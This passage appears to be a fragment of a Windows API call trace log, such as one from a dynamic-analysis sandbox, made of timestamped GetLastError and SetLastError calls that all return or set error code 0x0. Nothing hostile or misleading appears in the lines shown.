[0138.663] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.664] SetLastError (dwErrCode=0x0) [0138.664] GetLastError () returned 0x0 [0138.665] SetLastError (dwErrCode=0x0) [0138.665] GetLastError () returned 0x0 [0138.665] SetLastError (dwErrCode=0x0) [0138.665] GetLastError () returned 0x0 [0138.665] SetLastError (dwErrCode=0x0) [0138.665] GetLastError () returned 0x0 [0138.665] SetLastError (dwErrCode=0x0) [0138.665] GetLastError () returned 0x0 [0138.665] SetLastError (dwErrCode=0x0) [0138.665] GetLastError () returned 0x0